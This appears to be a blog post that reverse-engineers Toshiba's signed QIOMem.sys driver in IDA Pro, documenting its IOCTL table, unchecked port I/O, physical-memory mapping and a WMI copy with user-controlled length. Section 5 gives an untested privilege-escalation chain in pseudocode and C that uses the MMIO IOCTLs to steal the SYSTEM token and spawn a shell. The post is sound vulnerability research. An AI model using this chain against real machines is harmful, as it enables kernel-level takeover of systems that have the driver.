1. Introduction
Been a while since I opened my favorite tool, IDA Pro. I started using it when I was still learning how people make cheats and trying to understand reverse engineering. Right now I am on holiday, so I just want to play with it again and refresh some skills. This time I try to RE some Windows drivers.
To find something, I went to LOLDrivers and just picked what looked interesting. Then I found QIOMem.sys. In the description it says the driver is used by Toshiba and Dynabook. That was interesting for me because I work at a Japanese company and we use Dynabook laptops too. I think Dynabook is not really popular outside Japan, so I just wanted to know what kind of driver this is. Then I started digging.
QIOMem.sys is a signed Windows driver from Toshiba. Its description is "Generic IO & Memory Access", and yeah, it really does what the name says. Once a process can open the driver interface, these IOCTL paths let it ask for I/O-port access and physical-memory mapping with very little validation inside the driver.
Anyway, here is what I found when I looked at it with IDA Pro:
- First look at the binary (metadata, imports, strings).
DriverEntry->AddDevice-> dispatch table.- The device interface (there is no device name, only a GUID).
- The
IRP_MJ_DEVICE_CONTROLhandler and its IOCTL table. - The raw port I/O and physical memory access paths.
- The WMI query path and the copy checks I did not find.
- What I can confirm from static analysis, and what still needs testing.
Some things are from the disassembly, and some are only my guess. I will try to say which one is which.
Wait, I am new here. Explain the terms first
If you are a beginner (no shame, we all started there), read this before going on. These words appear a lot so I explain them once here in simple terms:
- Kernel - the core of the OS. It manages memory, processes, drivers, and hardware. Runs at the highest privilege (ring 0). If it crashes, the whole PC bluescreens.
- User mode vs kernel mode - normal programs run in user mode (ring 3). They cannot just touch memory or devices freely. The kernel runs in kernel mode.
- Driver (.sys) - a special program that runs inside the kernel. It talks to hardware or provides services to user programs. Because it runs in the kernel, a bug in it is dangerous.
- Device object - a kernel object that represents a device. User programs open it through a device interface to send commands to the driver.
- IRP (I/O Request Packet) - the "message" Windows uses when a user program wants to do I/O with a driver. The driver gets an IRP, does work, then calls
IofCompleteRequestto say "done". - IOCTL (I/O Control) - a command code you send to the driver, usually as a 32-bit number like
0x8012000. It tells the driver what operation to do. - Dispatch routine - the function the driver registered to handle a certain IRP type. Here
QioMemDeviceControlhandles IRP_MJ_DEVICE_CONTROL (the IOCTL requests). - METHOD_BUFFERED - a way to pass data to/from a driver. The OS copies your input into a kernel buffer (
Irp->SystemBuffer) and copies output back to you. The method bits are the low 2 bits of the IOCTL number (0= buffered). All IOCTLs here are buffered. - I/O port - a small address space on x86/64 for talking to hardware. You use the
in/outCPU instructions. From user mode you cannot touch ports at all. This driver lets you. - Physical memory (MMIO) - memory that maps to hardware registers instead of RAM. Drivers use
MmMapIoSpaceto get a virtual address for a physical address, then read/write it. A driver should only map the hardware ranges it owns. - WMI (Windows Management Instrumentation) - a kernel subsystem for reading/writing management data blocks. In this driver, the WMI request path passes a caller-supplied GUID to
IoWMIOpenBlock. - PnP (Plug and Play) - the part of Windows that manages hardware appearing/disappearing. A PnP filter driver sits between the OS and a device.
- Pool - kernel memory you allocate with
ExAllocatePool. If you write past your allocation, you corrupt the pool - that is a pool overflow. - Privilege escalation (LPE) - when a low-privilege account becomes
SYSTEMor admin on the same machine. Whether this driver reaches that level still depends on who can open its interface. - Kernel read/write primitive - a basic ability to read or write protected memory. If it is really reachable by an untrusted caller, it can become a serious security problem.
Feel free to come back to this list whenever you forget a term.
2. First Look at the Binary
I loaded the driver into IDA Pro. Here is the basic file info I collected:
| Property | Value |
|---|---|
| Module | QIOMem.sys |
| Architecture | x64 |
| Image base | 0x140000000 |
| Image size | 0xA000 |
| SHA-256 | 6abd8d0d541bcf9e257c65122216b1d2ae92cbf8a3a3cb7ce340846e66c449ca |
| Entry point | DriverEntry @ 0x140007000 |
| Vendor | TOSHIBA |
| Version | 5.0.0.0 |
| Signature | Valid - Microsoft Windows Hardware Compatibility Publisher (WHQL) |
| Compiler | MSVC (VS2015, linker 14.0), /GS cookies |
| Build date | 2015-05-05 |
| Framework | WDM PnP filter driver (no KMDF imports) |
| PDB | C:\Users\1\Desktop\4.0.0.0 - Copy\code\QIOMEM\Win10Release\x64\QIOMem.pdb |
The version resource says:
CompanyName : TOSHIBA
FileDescription : Generic IO & Memory Access
FileVersion : 5.0.0.0
InternalName : QIOMem
OriginalFilename : QIOMem.sys
ProductVersion : 5.0.0.0
Copyright : Copyright(C) 2009-2016 TOSHIBA. All rights reserved.So at least this part is not a guess: Toshiba describes it as a "Generic IO & Memory Access" driver.
The imports already give a big hint. This driver imports from ntoskrnl.exe:

IoCreateDevice,IoAttachDeviceToDeviceStack,IoRegisterDeviceInterface- device setup, PnP filterMmMapIoSpace,MmUnmapIoSpace- physical memory mappingIoWMIOpenBlock,IoWMIQuerySingleInstance,IoWMISetSingleInstance- WMI accessPoRequestPowerIrp,PoSetPowerState,PoCallDriver- power managementIofCallDriver,IofCompleteRequest- IRP handlingExAllocatePoolWithTag,ExFreePoolWithTag- kernel poolKeInitializeEvent,KeWaitForSingleObject- synchronizationIoReportTargetDeviceChangeAsynchronous- PnP notifications
Notice what is missing: there are no READ_PORT_*/WRITE_PORT_* imports. Later in the code we can see the inline in/out instructions, so the imports already pointed me in the right direction.
The strings are also interesting. There are only three real ones in the whole binary:
C:\Users\1\Desktop\4.0.0.0 - Copy\code\QIOMEM\Win10Release\x64\QIOMem.pdb
IOCTL_SET_PNP_EVENT_NOTIFY
QtapDeviceNotifyHandlerThat QtapDeviceNotifyHandler caught my eye. It may point to a Qualcomm diagnostic-driver connection, but one string is not enough to prove where the code came from. I keep this only as a clue, not as a conclusion.

3. Important Functions and Names I Renamed
IDA gave me a bunch of sub_14000xxxx names. I renamed the important ones:
| Address | New name | What it does |
|---|---|---|
0x140007000 | DriverEntry | Entry point; sets up the dispatch table |
0x140006000 | QioMemAddDevice | Creates the filter device (0x488 ext), attaches to the stack, registers the interface GUID |
0x1400060F0 | QioMemPnp | IRP_MJ_PNP handler - routes start/remove/query |
0x140006284 | QioMemCreate | IRP_MJ_CREATE - sends a fake START_DEVICE, increments open count |
0x140006224 | QioMemClose | IRP_MJ_CLOSE - same probe, decrements open count |
0x1400062F8 | QioMemDeviceControl | The IRP_MJ_DEVICE_CONTROL handler - the heart of the driver |
0x140006158 | QioMemRemoveDevice | Detaches and deletes the device |
0x1400061DC | QioMemStartDevice | Enables the device interface |
0x140001024 | QioMemSendSyncPnp | Sends a PnP IRP synchronously |
0x140001000 | QioMemCompleteRequest | Sets IoStatus + IofCompleteRequest |
0x140006858 | QioMemSendPnpStartDevice | Crafts a fake IRP_MN_START_DEVICE |
0x140006A14 | QioMemSendDeviceIoControl | Builds a sync IOCTL with IoBuildDeviceIoControlRequest |
0x140006950 | QioMemReportTargetChange | Sends a PnP notification ("QtapDeviceNotifyHandler") |
0x140002078 | QioMemPower | IRP_MJ_POWER handler |
0x1400021A8 | QioMemPowerPassThrough | Forwards power IRPs |
0x140002260 | QioMemPowerSetState | Caches + sets device power state |
0x140002308 | QioMemPowerRequest | System power request logic |
0x1400021E8 | QioMemRequestPowerIrp | PoRequestPowerIrp wrapper |
0x140002000 | QioMemCopyUnicodeString | A bounded UTF-16 string copy |
4. Following the Driver Step by Step
4.1 DriverEntry -> dispatch table

DriverEntry (0x140007000) is small and boring. It does three things:
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = QioMemDriverUnload; // a no-op
// Default every MajorFunction to the pass-through stub.
for (int i = 0; i < 28; i++)
DriverObject->MajorFunction[i] = QioMemPassThrough;
DriverObject->DriverExtension->AddDevice = QioMemAddDevice;
DriverObject->MajorFunction[27] = QioMemPnp; // IRP_MJ_PNP
DriverObject->MajorFunction[0] = QioMemCreate; // IRP_MJ_CREATE
DriverObject->MajorFunction[2] = QioMemClose; // IRP_MJ_CLOSE
DriverObject->MajorFunction[14] = QioMemDeviceControl; // IRP_MJ_DEVICE_CONTROL
DriverObject->MajorFunction[22] = QioMemPower; // IRP_MJ_POWER
return STATUS_SUCCESS;
}What I got from it:
- All 28 MajorFunction slots default to
QioMemPassThrough- a forwarder to the attached device. - There is no unload logic - it is a PnP filter, so removal happens through
IRP_MN_REMOVE_DEVICE, notDriverUnload. - It is a WDM PnP filter driver, not KMDF. The
AddDevicecallback is the giveaway.
4.2 AddDevice - creating the device
`

(0x140006000`) is where the filter comes to life:
NTSTATUS QioMemAddDevice(PDRIVER_OBJECT DriverObject, PDEVICE_OBJECT PDO)
{
IoCreateDevice(DriverObject, 0x488 /*DeviceExtensionSize*/,
NULL /*no name!*/, 0x32 /*FILE_DEVICE_ACPI*/,
0, FALSE, &filterDO);
ext = filterDO->DeviceExtension; // 0x488-byte extension
ext->OpenHandleCount = 0; // +0x480
ext->PhysicalDeviceObject = PDO; // +0x00
KeInitializeSpinLock(&ext->SpinLock); // +0x20
status = IoRegisterDeviceInterface(PDO, &QIOMEM_INTERFACE_GUID,
NULL, &ext->InterfaceSymbolicLinkName); // +0x10
ext->AttachedDeviceObject = IoAttachDeviceToDeviceStack(filterDO, PDO); // +0x08
if (attached) {
filterDO->Flags &= ~DO_DEVICE_INITIALIZING;
return STATUS_SUCCESS;
}
// error: RtlFreeUnicodeString, IoDeleteDevice
}Things that matter here:
- Device type
0x32=FILE_DEVICE_ACPI. So this filter attaches to ACPI devices. - No device name (
DeviceName = NULL). This means you cannot open\\.\Somethingdirectly. - The only entry point is the device interface GUID
020C37D0-A3A6-4069-A640-33480A033C25.
I recovered the device extension layout and made it a struct in IDA:
struct QIOMEM_DEVICE_EXTENSION
{
PDEVICE_OBJECT PhysicalDeviceObject; // +0x00
PDEVICE_OBJECT AttachedDeviceObject; // +0x08
UNICODE_STRING InterfaceSymbolicLinkName; // +0x10
KSPIN_LOCK SpinLock; // +0x20
BYTE Reserved0[0x404]; // +0x28
PVOID WmiDataBlockObject; // +0x428 <-- also temp MMIO map slot
BYTE Reserved1[0x44]; // +0x430
ULONG CurrentPowerState; // +0x470
BYTE Reserved2[0xC]; // +0x474
LONG OpenHandleCount; // +0x480
};In my notes, +0x428 seems to be used for two different things: the WMI block handle and a temporary MmMapIoSpace result. I mention it again below because it is a strange reuse of one field.
4.3 The dispatch table
The dispatch table is:
MajorFunction[0] (IRP_MJ_CREATE) -> QioMemCreate
MajorFunction[2] (IRP_MJ_CLOSE) -> QioMemClose
MajorFunction[14] (IRP_MJ_DEVICE_CONTROL) -> QioMemDeviceControl
MajorFunction[22] (IRP_MJ_POWER) -> QioMemPower
MajorFunction[27] (IRP_MJ_PNP) -> QioMemPnp
all others -> QioMemPassThroughQioMemPnp routes minor functions:
IRP_MN_START_DEVICE(0) ->QioMemStartDevice- enables the interfaceIRP_MN_REMOVE_DEVICE(2) ->QioMemRemoveDevice- disables interface, detaches, deletesIRP_MN_QUERY_CAPABILITIES(23) -> sets status to success, then passes through (a little hack)- everything else -> pass through
QioMemPower handles power. It caches the device power state at ext+0x470 and forwards to the lower driver. It looks like normal WDM power code, so I did not spend more time on it.
4.4 The device interface (how user mode reaches it)
IoRegisterDeviceInterface(PDO, {020C37D0-A3A6-4069-A640-33480A033C25}, NULL, &symlink)
│ (AddDevice)
▼
IRP_MN_START_DEVICE -> QioMemStartDevice
│ enables the interface (IoSetDeviceInterfaceState TRUE)
▼
User mode: enumerate the enabled interface
-> Windows returns the actual symbolic-link path
-> CreateFile(actual path) -> IRP_MJ_CREATE -> DeviceIoControl
-> QioMemDeviceControlSo user mode reaches the driver through an interface symbolic link, not through a fixed device name. Static analysis shows no per-IOCTL privilege check in this driver. But it does not prove that a normal user can open the interface: that depends on the interface security descriptor, the INF/setup class, and the machine configuration. I would need to check that in an isolated test system before calling this a confirmed low-privilege path.
4.5 QioMemDeviceControl - the IOCTL table
QioMemDeviceControl (0x1400062F8) is the main function here. It reads the IOCTL code from the IRP stack location, then dispatches. I decoded all the IOCTL codes with int_convert:

| IOCTL | Function | Method | What it does |
|---|---|---|---|
0x8012000 | 0x800 | BUFFERED | MMIO read byte (MmMapIoSpace) |
0x8012004 | 0x801 | BUFFERED | MMIO read word |
0x8012008 | 0x802 | BUFFERED | MMIO read dword |
0x801200C | 0x803 | BUFFERED | MMIO write byte |
0x8012010 | 0x804 | BUFFERED | MMIO write word |
0x8012014 | 0x805 | BUFFERED | MMIO write dword |
0x8012018 | 0x806 | BUFFERED | Port in byte |
0x801201C | 0x807 | BUFFERED | Port in word |
0x8012020 | 0x808 | BUFFERED | Port in dword |
0x8012024 | 0x809 | BUFFERED | Port out byte |
0x8012028 | 0x80A | BUFFERED | Port out word |
0x801202C | 0x80B | BUFFERED | Port out dword |
0x8012030 | 0x80C | BUFFERED | WMI query (open block + query) |
0x8012034 | 0x80D | BUFFERED | WMI set |
0x8012040 | 0x810 | BUFFERED | Forward ACPI IOCTL 0x32C004 (in=buf len 8, out=buf+0x90 len 0x410) |
0x8012044 | 0x811 | BUFFERED | Forward ACPI IOCTL 0x32C004 (in=buf+8 len 0xC, out=buf+0x90 len 0x410) |
0x8012048 | 0x812 | BUFFERED | Forward ACPI IOCTL 0x32C004 (in=buf+0x14 len 0x40, out=buf+0x54 len 0x3C) |
0x801204C | 0x813 | BUFFERED | Forward ACPI IOCTL 0x32C004 (same as 0x8012048) |
0x8012050 | 0x814 | BUFFERED | Set PnP event notify |
All IOCTLs decode the same way:
CTL_CODE(DeviceType=0x0801, Function=N, METHOD_BUFFERED, FILE_ANY_ACCESS)DeviceType 0x0801 is a custom "QIO" type. And note: every IOCTL here is METHOD_BUFFERED - no METHOD_NEITHER. I checked that first, because METHOD_NEITHER means raw user pointers. Not here. The interesting stuff is the buffer handling instead.
(One detail: 0x8012038 and 0x801203C look like they should be in the table, but the dispatch chain skips them - they fall into the default STATUS_INVALID_DEVICE_REQUEST case. So the driver handles 19 IOCTLs, not 21.)
4.6 The port I/O and MMIO access
The port and MMIO commands both take an 11-byte buffer, and both read a 32-bit address at offset 0. At first I wrote them as one common struct, but the dword MMIO path returns its value at offset +7, while the port path uses +4. So I now keep them as separate layouts in my notes until I recheck every byte/word case.
struct QIOMEM_PORT_REQUEST
{
ULONG Address; // +0x00 port number (32-bit)
union
{
UCHAR ByteValue; // +0x04
WORD WordValue; // +0x04 (overlaps!)
ULONG DwordValue; // +0x04 (overlaps!)
} Value;
};For the port-I/O group, the size check is InputBufferLength == 11 && OutputBufferLength == 11. I did not see a port-range check after that.
The dword MMIO path stores the value at offset +7, not +4, so I keep a separate struct:
struct QIOMEM_MMIO_REQUEST
{
ULONG PhysicalAddress; // +0x00 caller-supplied 32-bit physical address
BYTE Reserved[3]; // +0x04 unknown / alignment padding
ULONG DwordValue; // +0x07 confirmed by disassembly for dword ops
// Byte and word offsets still need verification — only the dword path is confirmed at +7
};Port read (0x8012018):
port = *(DWORD*)SystemBuffer; // user-controlled, NO range check
v = __inbyte(port); // ring-0 IN instruction
*(BYTE*)(SystemBuffer+4) = v; // value comes back in the bufferPort write (0x8012024):
port = *(DWORD*)SystemBuffer;
__outbyte(port, *(BYTE*)(SystemBuffer+4)); // ring-0 OUT instructionMMIO read (0x8012008):
phys = *(DWORD*)SystemBuffer; // caller-supplied 32-bit physical address
map = MmMapIoSpace(phys, 4, MmWriteCombined);
*(DWORD*)(SystemBuffer+7) = *(DWORD*)map; // read physical memory
MmUnmapIoSpace(map, 4);MMIO write (0x8012014):
phys = *(DWORD*)SystemBuffer;
map = MmMapIoSpace(phys, 4, MmWriteCombined);
*(DWORD*)map = *(DWORD*)(SystemBuffer+7); // write physical memory
MmUnmapIoSpace(map, 4);The physical address comes from the caller, and I did not see validation that it is inside a PnP-assigned device resource range before MmMapIoSpace is called. That is a serious problem to look at. The value is read as 32-bit in this path, though, so I should not say it reaches every physical page on every machine without checking how that value becomes the PHYSICAL_ADDRESS argument and which address range is actually reachable.
There is another problem in the dword MMIO path: the return value of MmMapIoSpace is not checked before it is dereferenced. I did not test this on a real machine, so I describe it as a crash risk from static analysis, not as a verified BSOD.
4.7 The WMI query path
Now the most interesting one. IOCTL 0x8012030 (WMI query). The input buffer is 0x42C bytes and looks like this:
struct WMI_QUERY_REQUEST
{
GUID WmiGuid; // +0x00 -> IoWMIOpenBlock
UNICODE_STRING InstanceName; // +0x10
ULONG NumberOfBytes; // +0x20 -> pool allocation size
ULONG DataOffset; // +0x24 -> source offset
ULONG Length; // +0x28 -> memmove length
BYTE Data[]; // +0x2C output region
};The flow:
// 1. Open the WMI block for a user-chosen GUID.
IoWMIOpenBlock((LPCGUID)buf, 1, &ext->WmiDataBlockObject);
// 2. Allocate a pool buffer, size = user's NumberOfBytes.
P = ExAllocatePoolWithTag(NonPagedPool, buf->NumberOfBytes, '1');
// 3. Query the WMI instance into P.
IoWMIQuerySingleInstance(ext->WmiBlock, &buf->InstanceName, &buf->NumberOfBytes, P);
// 4. Copy the interesting part of the result back to the user.
memmove(
dst = SystemBuffer + 0x2C,
src = P + 74 + P[64] + (P[65]<<8) - ((P[64]+(P[65]<<8)+2) & 7) + buf->DataOffset,
len = buf->Length
);Looking at that memmove, the source calculation uses buf->DataOffset and the length comes from buf->Length. I did not find a local bounds check immediately before the copy.
Lengthcan be larger than the visible0x400output region (0x42C - 0x2C). To call it a confirmed pool overflow, I still need to verify the handler's input/output-length gates: withMETHOD_BUFFERED, Windows allocates the system buffer using the larger of the input and output lengths.DataOffsetis an unsignedULONGin this layout. A large value may walk outside thePallocation or wrap during the address calculation. I should not call it "negative" unless the assembly shows a signed conversion.
So this is a strong static-analysis finding, but I keep the runtime impact separate from what the disassembly alone proves.
4.8 The fake START_DEVICE on every open
Here is something weird. Both QioMemCreate and QioMemClose do the same thing: they send a hand-built IRP_MN_START_DEVICE to the attached device, with a stack buffer attached, then call function pointers read from that buffer.
QioMemSendPnpStartDevice (0x140006858) builds the IRP by hand:
IO_STACK_LOCATION:
MajorFunction = 0x1B // IRP_MJ_PNP
MinorFunction = 0x08 // IRP_MN_START_DEVICE
Parameters.StartDevice.AllocatedResources = &WMI_DATABLOCK_GUID // bogus pointer
Parameters.StartDevice.AllocatedResourcesTranslated = 0x10058 // bogus pointer
// and the user's stack buffer is passed along in the third union slot (offset 0x18)Then QioMemCreate calls:
(*(buf + 0x48))(buf + 0x08, QioMemReportTargetChange, DeviceObject); // call 1
(*(buf + 0x18))(buf + 0x08); // call 2Those are function pointers read from the stack buffer. The code assumes the lower driver left something usable there. In my reconstruction, AllocatedResources and AllocatedResourcesTranslated look invalid, so I expect a normal lower driver to fail the IRP. If it does fail, QioMemCreate skips the calls (test eax, eax / js at 0x1400062AE). I did not test this on a real stack.
I would call this a latent bug: the pattern of calling uninitialized stack pointers is broken by design, but it only matters if a lower driver returns success and leaves usable-looking data in that buffer. I keep it as a code smell, not a confirmed security primitive.
5. Why This Code Needs More Checks
When I walked through the paths above, a few things caught my attention that I could not fully verify from static analysis alone, the WMI copy offset and length, the MMIO address validation and NULL check, the stack-buffer function-pointer path, and who can open the interface. I noted each one in the section where it appears.
What the impact could be
If an untrusted process can open this interface, these paths could expose privileged hardware operations or create a stability and security problem. I did not load the driver, send IOCTLs, or try an exploit.
The exploit chain (classic LPE)
Here is the idea in plain pseudocode so it is easy to follow:
# Step 1 - open the device interface.
# You need to find the symlink for GUID 020C37D0-A3A6-4069-A640-33480A033C25.
hDevice = Open("\\.\{020C37D0-A3A6-4069-A640-33480A033C25}...")
# Step 2 - read/write physical memory with the MMIO IOCTLs.
# Each access is one IOCTL. Physical address goes in the buffer.
read_phys(addr) = IOCTL(hDevice, 0x8012008, {addr, out:4 bytes}) # read dword
write_phys(addr) = IOCTL(hDevice, 0x8012014, {addr, val}) # write dword
# Step 3 - find our own EPROCESS in physical memory.
# You can scan physical memory for the process name, or walk the
# handle table. Classic trick: scan for "System" / your exe name.
# Step 4 - walk the process list to find SYSTEM (PID 4).
cur = our_eprocess
while True:
if read_phys(cur + OFF_PROCESS_ID) == 4: # SYSTEM
system_eprocess = cur
break
flink = read_phys(cur + OFF_ACTIVE_PROCESS_LINKS)
cur = flink - OFF_ACTIVE_PROCESS_LINKS
# Step 5 - copy SYSTEM's token pointer into our own EPROCESS.Token.
system_token = read_phys(system_eprocess + OFF_TOKEN)
write_phys(our_eprocess + OFF_TOKEN, system_token)
# Step 6 - spawn a shell. It now inherits the SYSTEM token.
spawn("cmd.exe")Each read_phys/write_phys is just one IOCTL to the driver:
// Arbitrary read of 4 bytes at physical address `addr`.
DWORD read_phys(QWORD addr) {
BYTE buf[11] = { 0 };
*(QWORD*)buf = addr; // physical address
IOCTL(hDevice, 0x8012008, buf); // MMIO read dword
return *(DWORD*)(buf + 7); // data comes back here
}That is it. The whole exploit is: open interface, read physical memory, find SYSTEM, steal its token, spawn shell.
What I found in IDA
Here are the main addresses I wrote down:
| Address | Evidence |
|---|---|
0x140007000 | DriverEntry entry point |
0x140006000 | QioMemAddDevice - creates filter DO (0x488 ext), attaches, registers interface |
0x140006075 | IoRegisterDeviceInterface with GUID 020C37D0-... |
0x1400062F8 | QioMemDeviceControl - IOCTL dispatch |
0x14000635E | First IOCTL comparison (0x8012024) |
0x1400064E4 | Port in dword - in eax, dx with user port |
0x140006636 | Port out byte - out dx, al with user port |
0x14000652C | MMIO read byte - MmMapIoSpace(phys, 1) no NULL check |
0x1400065CC | MMIO read dword - MmMapIoSpace(phys, 4) |
0x140006591 | MMIO write byte |
0x14000653E | mov [r12+428h], rax - temp map stored in ext+0x428 |
0x14000679B | WMI query - IoWMIQuerySingleInstance |
0x1400067FF | WMI memmove - user-controlled offset + length |
0x14000676A | WMI set - IoWMISetSingleInstance |
0x140006699 | PnP notify - builds TARGET_DEVICE_CUSTOM_NOTIFICATION |
0x1400068F5 | Fake START_DEVICE - AllocatedResourcesTranslated = 0x10058 |
0x1400062C1 | call [rsp+...] - function pointer from stack buffer (buf+0x48) |
0x140006821 | STATUS_INVALID_BUFFER_SIZE (0xC000000D) return path |
The key instruction sequence for the MMIO dword path (IOCTL 0x8012008):
; 0x1400065CC
mov edx, 4 ; NumberOfBytes = 4
mov rcx, rbx ; PhysicalAddress (from user buffer!)
mov r8d, 2 ; CacheType = MmWriteCombined
call MmMapIoSpace
mov [r12+428h], rax ; store map (no NULL check!)
mov eax, [rax] ; dereference the map -> reads physical memory
mov [rsi+7], eax ; value back to user buffer
mov edx, 4
mov rcx, [r12+428h]
call MmUnmapIoSpaceThe key instruction sequence for the WMI copy path (IOCTL 0x8012030):
; 0x1400067C3
movzx edx, byte ptr [rbx+41h] ; P[65]
movzx eax, byte ptr [rbx+40h] ; P[64]
shl edx, 8
add edx, eax ; count field
and ecx, 7 ; alignment
mov eax, [r13+24h] ; buf->DataOffset (user!)
sub eax, ecx
lea rdx, [rbx+40h] ; source = P + 64 + ...
add rdx, rcx
lea rcx, [r13+2Ch] ; dest = buf + 0x2C
call memmove ; length from buf+0x28 (user!)From this static trace, DataOffset and Length reach memmove without a visible local bound. The exact allocation and runtime impact still need a separate check.
What I can confirm
I kept this as a static IDA exercise, no driver loaded, no IOCTLs sent, no exploit attempted. The disassembly shows untrusted callers could reach port I/O, physical-memory mapping, and a WMI copy with user-controlled offset and length. There is also a latent stack-buffer function-pointer path in the fake START_DEVICE flow.